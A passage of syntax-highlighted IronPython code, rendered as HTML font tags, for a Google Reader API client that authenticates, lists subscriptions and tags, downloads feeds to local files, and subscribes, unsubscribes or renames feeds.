            <font color="#0000c0">(</font>
            <font color="#000000">reader</font>
            <font color="#0000c0">.</font>
            <font color="#000000">ReadToEnd</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">return</font>
            <font color="#000000">doc</font>
            <font color="#c00000">def</font>
            <font color="#000000">GetToken</font>
            <font color="#0000c0">(</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Gets
an edit token which is needed for any edit operations using the Google Reader API"""</font>
            <font color="#000000">token_url</font>
            <font color="#0000c0">=</font>
            <font color="#000000">api_url_prefix</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"token"</font>
            <font color="#000000">req</font>
            <font color="#0000c0">=</font>
            <font color="#000000">HttpWebRequest</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Create</font>
            <font color="#0000c0">(</font>
            <font color="#000000">token_url</font>
            <font color="#0000c0">)</font>
            <font color="#000000">SetGoogleCookie</font>
            <font color="#0000c0">(</font>
            <font color="#000000">req</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#000000">reader</font>
            <font color="#0000c0">=</font>
            <font color="#000000">StreamReader</font>
            <font color="#0000c0">(</font>
            <font color="#000000">req</font>
            <font color="#0000c0">.</font>
            <font color="#000000">GetResponse</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">.</font>
            <font color="#000000">GetResponseStream</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">return</font>
            <font color="#000000">reader</font>
            <font color="#0000c0">.</font>
            <font color="#000000">ReadToEnd</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">def</font>
            <font color="#000000">MakeSubscription</font>
            <font color="#0000c0">(</font>
            <font color="#000000">xmlNode</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Creates
a Subscription class out of an XmlNode that was obtained from the feed list"""</font>
            <font color="#000000">id_node</font>
            <font color="#0000c0">=</font>
            <font color="#000000">xmlNode</font>
            <font color="#0000c0">.</font>
            <font color="#000000">SelectSingleNode</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"string[@name='id']"</font>
            <font color="#0000c0">)</font>
            <font color="#000000">feedid</font>
            <font color="#0000c0">=</font>
            <font color="#000000">id_node</font>
            <font color="#c00000">and</font>
            <font color="#000000">id_node</font>
            <font color="#0000c0">.</font>
            <font color="#000000">InnerText</font>
            <font color="#c00000">or</font>
            <font color="#004080">''</font>
            <font color="#000000">title_node</font>
            <font color="#0000c0">=</font>
            <font color="#000000">xmlNode</font>
            <font color="#0000c0">.</font>
            <font color="#000000">SelectSingleNode</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"string[@name='title']"</font>
            <font color="#0000c0">)</font>
            <font color="#000000">title</font>
            <font color="#0000c0">=</font>
            <font color="#000000">title_node</font>
            <font color="#c00000">and</font>
            <font color="#000000">title_node</font>
            <font color="#0000c0">.</font>
            <font color="#000000">InnerText</font>
            <font color="#c00000">or</font>
            <font color="#004080">''</font>
            <font color="#000000">fim_node</font>
            <font color="#0000c0">=</font>
            <font color="#000000">xmlNode</font>
            <font color="#0000c0">.</font>
            <font color="#000000">SelectSingleNode</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"string[@name='firstitemmsec']"</font>
            <font color="#0000c0">)</font>
            <font color="#000000">firstitemmsec</font>
            <font color="#0000c0">=</font>
            <font color="#000000">fim_node</font>
            <font color="#c00000">and</font>
            <font color="#000000">fim_node</font>
            <font color="#0000c0">.</font>
            <font color="#000000">InnerText</font>
            <font color="#c00000">or</font>
            <font color="#004080">''</font>
            <font color="#000000">categories</font>
            <font color="#0000c0">=</font>
            <font color="#0000c0">[</font>
            <font color="#000000">MakeCategory</font>
            <font color="#0000c0">(</font>
            <font color="#000000">catNode</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">for</font>
            <font color="#000000">catNode</font>
            <font color="#c00000">in</font>
            <font color="#000000">xmlNode</font>
            <font color="#0000c0">.</font>
            <font color="#000000">SelectNodes</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"list[@name='categories']/object"</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">]</font>
            <font color="#c00000">return</font>
            <font color="#000000">Subscription</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedid</font>
            <font color="#0000c0">,</font>
            <font color="#000000">title</font>
            <font color="#0000c0">,</font>
            <font color="#000000">categories</font>
            <font color="#0000c0">,</font>
            <font color="#000000">firstitemmsec</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">def</font>
            <font color="#000000">MakeCategory</font>
            <font color="#0000c0">(</font>
            <font color="#000000">catNode</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Returns
a tuple of (label, category id) from an XmlNode representing a feed's labels that
was obtained from the feed list"""</font>
            <font color="#000000">id_node</font>
            <font color="#0000c0">=</font>
            <font color="#000000">catNode</font>
            <font color="#0000c0">.</font>
            <font color="#000000">SelectSingleNode</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"string[@name='id']"</font>
            <font color="#0000c0">)</font>
            <font color="#000000">catid</font>
            <font color="#0000c0">=</font>
            <font color="#000000">id_node</font>
            <font color="#c00000">and</font>
            <font color="#000000">id_node</font>
            <font color="#0000c0">.</font>
            <font color="#000000">InnerText</font>
            <font color="#c00000">or</font>
            <font color="#004080">''</font>
            <font color="#000000">label_node</font>
            <font color="#0000c0">=</font>
            <font color="#000000">catNode</font>
            <font color="#0000c0">.</font>
            <font color="#000000">SelectSingleNode</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"string[@name='label']"</font>
            <font color="#0000c0">)</font>
            <font color="#000000">label</font>
            <font color="#0000c0">=</font>
            <font color="#000000">label_node</font>
            <font color="#c00000">and</font>
            <font color="#000000">label_node</font>
            <font color="#0000c0">.</font>
            <font color="#000000">InnerText</font>
            <font color="#c00000">or</font>
            <font color="#004080">''</font>
            <font color="#c00000">return</font>
            <font color="#0000c0">(</font>
            <font color="#000000">label</font>
            <font color="#0000c0">,</font>
            <font color="#000000">catid</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">def</font>
            <font color="#000000">AuthenticateUser</font>
            <font color="#0000c0">(</font>
            <font color="#000000">username</font>
            <font color="#0000c0">,</font>
            <font color="#000000">password</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Authenticates
the user and returns a username/password combination"""</font>
            <font color="#000000">req</font>
            <font color="#0000c0">=</font>
            <font color="#000000">HttpWebRequest</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Create</font>
            <font color="#0000c0">(</font>
            <font color="#000000">auth_url</font>
            <font color="#0000c0">%</font>
            <font color="#0000c0">(</font>
            <font color="#000000">username</font>
            <font color="#0000c0">,</font>
            <font color="#000000">password</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">)</font>
            <font color="#000000">reader</font>
            <font color="#0000c0">=</font>
            <font color="#000000">StreamReader</font>
            <font color="#0000c0">(</font>
            <font color="#000000">req</font>
            <font color="#0000c0">.</font>
            <font color="#000000">GetResponse</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">.</font>
            <font color="#000000">GetResponseStream</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">)</font>
            <font color="#000000">response</font>
            <font color="#0000c0">=</font>
            <font color="#000000">reader</font>
            <font color="#0000c0">.</font>
            <font color="#000000">ReadToEnd</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">.</font>
            <font color="#000000">split</font>
            <font color="#0000c0">(</font>
            <font color="#004080">'\n'</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">for</font>
            <font color="#000000">s</font>
            <font color="#c00000">in</font>
            <font color="#000000">response</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">if</font>
            <font color="#000000">s</font>
            <font color="#0000c0">.</font>
            <font color="#000000">startswith</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"SID="</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">return</font>
            <font color="#000000">s</font>
            <font color="#0000c0">[</font>
            <font color="#0080c0">4</font>
            <font color="#0000c0">:</font>
            <font color="#0000c0">]</font>
            <font color="#c00000">def</font>
            <font color="#000000">SetGoogleCookie</font>
            <font color="#0000c0">(</font>
            <font color="#000000">webRequest</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Sets
the Google authentication cookie on the HttpWebRequest instance"""</font>
            <font color="#000000">cookie</font>
            <font color="#0000c0">=</font>
            <font color="#000000">Cookie</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"SID"</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">,</font>
            <font color="#004080">"/"</font>
            <font color="#0000c0">,</font>
            <font color="#004080">".google.com"</font>
            <font color="#0000c0">)</font>
            <font color="#000000">cookie</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Expires</font>
            <font color="#0000c0">=</font>
            <font color="#000000">DateTime</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Now</font>
            <font color="#0000c0">+</font>
            <font color="#000000">TimeSpan</font>
            <font color="#0000c0">(</font>
            <font color="#0080c0">7</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">)</font>
            <font color="#000000">container</font>
            <font color="#0000c0">=</font>
            <font color="#000000">CookieContainer</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#000000">container</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Add</font>
            <font color="#0000c0">(</font>
            <font color="#000000">cookie</font>
            <font color="#0000c0">)</font>
            <font color="#000000">webRequest</font>
            <font color="#0000c0">.</font>
            <font color="#000000">CookieContainer</font>
            <font color="#0000c0">=</font>
            <font color="#000000">container</font>
            <font color="#c00000">def</font>
            <font color="#000000">GetSubscriptionList</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Gets
the users list of subscriptions"""</font>
            <font color="#000000">feedlist_url</font>
            <font color="#0000c0">=</font>
            <font color="#000000">api_url_prefix</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"subscription/list"</font>
            <font color="#008000">#download
the JSON-esque XML feed list </font>
            <font color="#000000">doc</font>
            <font color="#0000c0">=</font>
            <font color="#000000">MakeHttpGetRequest</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist_url</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#008000">#create
subscription nodes </font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">=</font>
            <font color="#0000c0">[</font>
            <font color="#000000">MakeSubscription</font>
            <font color="#0000c0">(</font>
            <font color="#000000">node</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">for</font>
            <font color="#000000">node</font>
            <font color="#c00000">in</font>
            <font color="#000000">doc</font>
            <font color="#0000c0">.</font>
            <font color="#000000">SelectNodes</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"/object/list[@name='subscriptions']/object"</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">]</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">modified</font>
            <font color="#0000c0">=</font>
            <font color="#000000">False</font>
            <font color="#c00000">def</font>
            <font color="#000000">GetTagList</font>
            <font color="#0000c0">(</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Gets
a list of the user's tags"""</font>
            <font color="#000000">taglist_url</font>
            <font color="#0000c0">=</font>
            <font color="#000000">api_url_prefix</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"tag/list"</font>
            <font color="#000000">doc</font>
            <font color="#0000c0">=</font>
            <font color="#000000">MakeHttpGetRequest</font>
            <font color="#0000c0">(</font>
            <font color="#000000">taglist_url</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#008000">#get
the user id needed for creating new labels from Google system tags </font>
            <font color="#000000">userid</font>
            <font color="#0000c0">=</font>
            <font color="#000000">doc</font>
            <font color="#0000c0">.</font>
            <font color="#000000">SelectSingleNode</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"/object/list/object/string[contains(string(.),
'state/com.google/starred')]"</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">.</font>
            <font color="#000000">InnerText</font>
            <font color="#000000">userid</font>
            <font color="#0000c0">=</font>
            <font color="#000000">userid</font>
            <font color="#0000c0">.</font>
            <font color="#000000">replace</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"/state/com.google/starred"</font>
            <font color="#0000c0">,</font>
            <font color="#004080">""</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">;</font>
            <font color="#000000">userid</font>
            <font color="#0000c0">=</font>
            <font color="#000000">userid</font>
            <font color="#0000c0">[</font>
            <font color="#0080c0">5</font>
            <font color="#0000c0">:</font>
            <font color="#0000c0">]</font>
            <font color="#008000">#get
the user-defined labels </font>
            <font color="#000000">tags</font>
            <font color="#0000c0">=</font>
            <font color="#0000c0">[</font>
            <font color="#000000">node</font>
            <font color="#0000c0">.</font>
            <font color="#000000">InnerText</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Replace</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"user/"</font>
            <font color="#0000c0">+</font>
            <font color="#000000">userid</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"/label/"</font>
            <font color="#0000c0">,</font>
            <font color="#004080">""</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">for</font>
            <font color="#000000">node</font>
            <font color="#c00000">in</font>
            <font color="#000000">doc</font>
            <font color="#0000c0">.</font>
            <font color="#000000">SelectNodes</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"/object/list[@name='tags']/object/string[@name='id']"</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">node</font>
            <font color="#0000c0">.</font>
            <font color="#000000">InnerText</font>
            <font color="#0000c0">.</font>
            <font color="#000000">IndexOf</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"/com.google/"</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">==</font>
            <font color="#0000c0">-</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">]</font>
            <font color="#c00000">return</font>
            <font color="#000000">TagList</font>
            <font color="#0000c0">(</font>
            <font color="#000000">userid</font>
            <font color="#0000c0">,</font>
            <font color="#000000">tags</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">def</font>
            <font color="#000000">DownloadFeeds</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Downloads
each feed from the subscription list to a local directory"""</font>
            <font color="#c00000">for</font>
            <font color="#000000">feedinfo</font>
            <font color="#c00000">in</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">:</font>
            <font color="#000000">unixepoch</font>
            <font color="#0000c0">=</font>
            <font color="#000000">DateTime</font>
            <font color="#0000c0">(</font>
            <font color="#0080c0">1970</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#000000">DateTimeKind</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Utc</font>
            <font color="#0000c0">)</font>
            <font color="#000000">oneweek_ago</font>
            <font color="#0000c0">=</font>
            <font color="#000000">DateTime</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Now</font>
            <font color="#0000c0">-</font>
            <font color="#000000">TimeSpan</font>
            <font color="#0000c0">(</font>
            <font color="#0080c0">7</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">)</font>
            <font color="#000000">ifmodifiedsince</font>
            <font color="#0000c0">=</font>
            <font color="#000000">oneweek_ago</font>
            <font color="#0000c0">-</font>
            <font color="#000000">unixepoch</font>
            <font color="#000000">feed_url</font>
            <font color="#0000c0">=</font>
            <font color="#000000">feed_url_prefix</font>
            <font color="#0000c0">+</font>
            <font color="#000000">feedinfo</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feedid</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"?n=25&amp;r=o&amp;ot="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">str</font>
            <font color="#0000c0">(</font>
            <font color="#000000">int</font>
            <font color="#0000c0">(</font>
            <font color="#000000">ifmodifiedsince</font>
            <font color="#0000c0">.</font>
            <font color="#000000">TotalSeconds</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">)</font>
            <font color="#000000">continuation</font>
            <font color="#0000c0">=</font>
            <font color="#000000">True</font>
            <font color="#000000">continuation_token</font>
            <font color="#0000c0">=</font>
            <font color="#004080">''</font>
            <font color="#000000">feedDoc</font>
            <font color="#0000c0">=</font>
            <font color="#000000">None</font>
            <font color="#c00000">while</font>
            <font color="#000000">True</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#004080">"Downloading
feed at %s"</font>
            <font color="#0000c0">%</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feed_url</font>
            <font color="#0000c0">+</font>
            <font color="#000000">continuation_token</font>
            <font color="#0000c0">)</font>
            <font color="#000000">doc</font>
            <font color="#0000c0">=</font>
            <font color="#000000">MakeHttpGetRequest</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feed_url</font>
            <font color="#0000c0">+</font>
            <font color="#000000">continuation_token</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#000000">continuation_node</font>
            <font color="#0000c0">=</font>
            <font color="#000000">doc</font>
            <font color="#0000c0">.</font>
            <font color="#000000">SelectSingleNode</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"//*[local-name()='continuation']"</font>
            <font color="#0000c0">)</font>
            <font color="#000000">continuation_token</font>
            <font color="#0000c0">=</font>
            <font color="#000000">continuation_node</font>
            <font color="#c00000">and</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"&amp;c="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">continuation_node</font>
            <font color="#0000c0">.</font>
            <font color="#000000">InnerText</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">or</font>
            <font color="#004080">''</font>
            <font color="#c00000">if</font>
            <font color="#000000">feedDoc</font>
            <font color="#c00000">is</font>
            <font color="#000000">None</font>
            <font color="#0000c0">:</font>
            <font color="#000000">feedDoc</font>
            <font color="#0000c0">=</font>
            <font color="#000000">doc</font>
            <font color="#c00000">else</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">for</font>
            <font color="#000000">node</font>
            <font color="#c00000">in</font>
            <font color="#000000">doc</font>
            <font color="#0000c0">.</font>
            <font color="#000000">SelectNodes</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"//*[local-name()='entry']"</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#000000">node</font>
            <font color="#0000c0">=</font>
            <font color="#000000">feedDoc</font>
            <font color="#0000c0">.</font>
            <font color="#000000">ImportNode</font>
            <font color="#0000c0">(</font>
            <font color="#000000">node</font>
            <font color="#0000c0">,</font>
            <font color="#000000">True</font>
            <font color="#0000c0">)</font>
            <font color="#000000">feedDoc</font>
            <font color="#0000c0">.</font>
            <font color="#000000">DocumentElement</font>
            <font color="#0000c0">.</font>
            <font color="#000000">AppendChild</font>
            <font color="#0000c0">(</font>
            <font color="#000000">node</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">continuation_token</font>
            <font color="#0000c0">==</font>
            <font color="#004080">''</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">break</font>
            <font color="#c00000">print</font>
            <font color="#004080">"Saving
%s"</font>
            <font color="#0000c0">%</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feed_cache_prefix</font>
            <font color="#0000c0">+</font>
            <font color="#000000">feedinfo</font>
            <font color="#0000c0">.</font>
            <font color="#000000">title</font>
            <font color="#0000c0">+</font>
            <font color="#004080">".xml"</font>
            <font color="#0000c0">)</font>
            <font color="#000000">feedDoc</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Save</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feed_cache_prefix</font>
            <font color="#0000c0">+</font>
            <font color="#000000">feedinfo</font>
            <font color="#0000c0">.</font>
            <font color="#000000">title</font>
            <font color="#0000c0">+</font>
            <font color="#004080">".xml"</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">def</font>
            <font color="#000000">ShowSubscriptionList</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Displays
the users list of subscriptions including the labels applied to each item"""</font>
            <font color="#c00000">if</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">modified</font>
            <font color="#0000c0">:</font>
            <font color="#000000">GetSubscriptionList</font>
            <font color="#0000c0">(</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#000000">count</font>
            <font color="#0000c0">=</font>
            <font color="#0080c0">1</font>
            <font color="#c00000">for</font>
            <font color="#000000">feedinfo</font>
            <font color="#c00000">in</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#004080">"%s.
%s (%s)"</font>
            <font color="#0000c0">%</font>
            <font color="#0000c0">(</font>
            <font color="#000000">count</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feedinfo</font>
            <font color="#0000c0">.</font>
            <font color="#000000">title</font>
            <font color="#0000c0">,</font>
            <font color="#0000c0">[</font>
            <font color="#000000">category</font>
            <font color="#0000c0">[</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">]</font>
            <font color="#c00000">for</font>
            <font color="#000000">category</font>
            <font color="#c00000">in</font>
            <font color="#000000">feedinfo</font>
            <font color="#0000c0">.</font>
            <font color="#000000">categories</font>
            <font color="#0000c0">]</font>
            <font color="#0000c0">)</font>
            <font color="#000000">count</font>
            <font color="#0000c0">=</font>
            <font color="#000000">count</font>
            <font color="#0000c0">+</font>
            <font color="#0080c0">1</font>
            <font color="#c00000">def</font>
            <font color="#000000">Subscribe</font>
            <font color="#0000c0">(</font>
            <font color="#000000">url</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Subscribes
to the specified feed URL in Google Reader"""</font>
            <font color="#000000">params</font>
            <font color="#0000c0">=</font>
            <font color="#004080">"quickadd="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">HttpUtility</font>
            <font color="#0000c0">.</font>
            <font color="#000000">UrlEncode</font>
            <font color="#0000c0">(</font>
            <font color="#000000">url</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"&amp;T="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">GetToken</font>
            <font color="#0000c0">(</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">=</font>
            <font color="#000000">MakeHttpPostRequest</font>
            <font color="#0000c0">(</font>
            <font color="#000000">add_url</font>
            <font color="#0000c0">,</font>
            <font color="#000000">params</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">.</font>
            <font color="#000000">StatusCode</font>
            <font color="#0000c0">==</font>
            <font color="#000000">HttpStatusCode</font>
            <font color="#0000c0">.</font>
            <font color="#000000">OK</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#004080">"%s
successfully added to subscription list"</font>
            <font color="#0000c0">%</font>
            <font color="#000000">url</font>
            <font color="#c00000">return</font>
            <font color="#000000">True</font>
            <font color="#c00000">else</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">.</font>
            <font color="#000000">StatusDescription</font>
            <font color="#c00000">return</font>
            <font color="#000000">False</font>
            <font color="#c00000">def</font>
            <font color="#000000">Unsubscribe</font>
            <font color="#0000c0">(</font>
            <font color="#000000">index</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Unsubscribes
from the feed at the specified index in the feed list"""</font>
            <font color="#000000">unsubscribe_url</font>
            <font color="#0000c0">=</font>
            <font color="#000000">api_url_prefix</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"subscription/edit"</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">=</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">[</font>
            <font color="#000000">index</font>
            <font color="#0000c0">]</font>
            <font color="#000000">params</font>
            <font color="#0000c0">=</font>
            <font color="#004080">"ac=unsubscribe&amp;i=null&amp;T="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">GetToken</font>
            <font color="#0000c0">(</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"&amp;t="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">.</font>
            <font color="#000000">title</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"&amp;s="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feedid</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">=</font>
            <font color="#000000">MakeHttpPostRequest</font>
            <font color="#0000c0">(</font>
            <font color="#000000">unsubscribe_url</font>
            <font color="#0000c0">,</font>
            <font color="#000000">params</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">if</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">.</font>
            <font color="#000000">StatusCode</font>
            <font color="#0000c0">==</font>
            <font color="#000000">HttpStatusCode</font>
            <font color="#0000c0">.</font>
            <font color="#000000">OK</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#004080">"'%s'
successfully removed from subscription list"</font>
            <font color="#0000c0">%</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">.</font>
            <font color="#000000">title</font>
            <font color="#c00000">return</font>
            <font color="#000000">True</font>
            <font color="#c00000">else</font>
            <font color="#0000c0">:</font>
            <font color="#c00000">print</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">.</font>
            <font color="#000000">StatusDescription</font>
            <font color="#c00000">return</font>
            <font color="#000000">False</font>
            <font color="#c00000">def</font>
            <font color="#000000">Rename</font>
            <font color="#0000c0">(</font>
            <font color="#000000">new_title</font>
            <font color="#0000c0">,</font>
            <font color="#000000">index</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Renames
the feed at the specified index in the feed list"""</font>
            <font color="#000000">api_url</font>
            <font color="#0000c0">=</font>
            <font color="#000000">api_url_prefix</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"subscription/edit"</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">=</font>
            <font color="#000000">feedlist</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">[</font>
            <font color="#000000">index</font>
            <font color="#0000c0">]</font>
            <font color="#000000">params</font>
            <font color="#0000c0">=</font>
            <font color="#004080">"ac=edit&amp;i=null&amp;T="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">GetToken</font>
            <font color="#0000c0">(</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"&amp;t="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">new_title</font>
            <font color="#0000c0">+</font>
            <font color="#004080">"&amp;s="</font>
            <font color="#0000c0">+</font>
            <font color="#000000">feed</font>
            <font color="#0000c0">.</font>
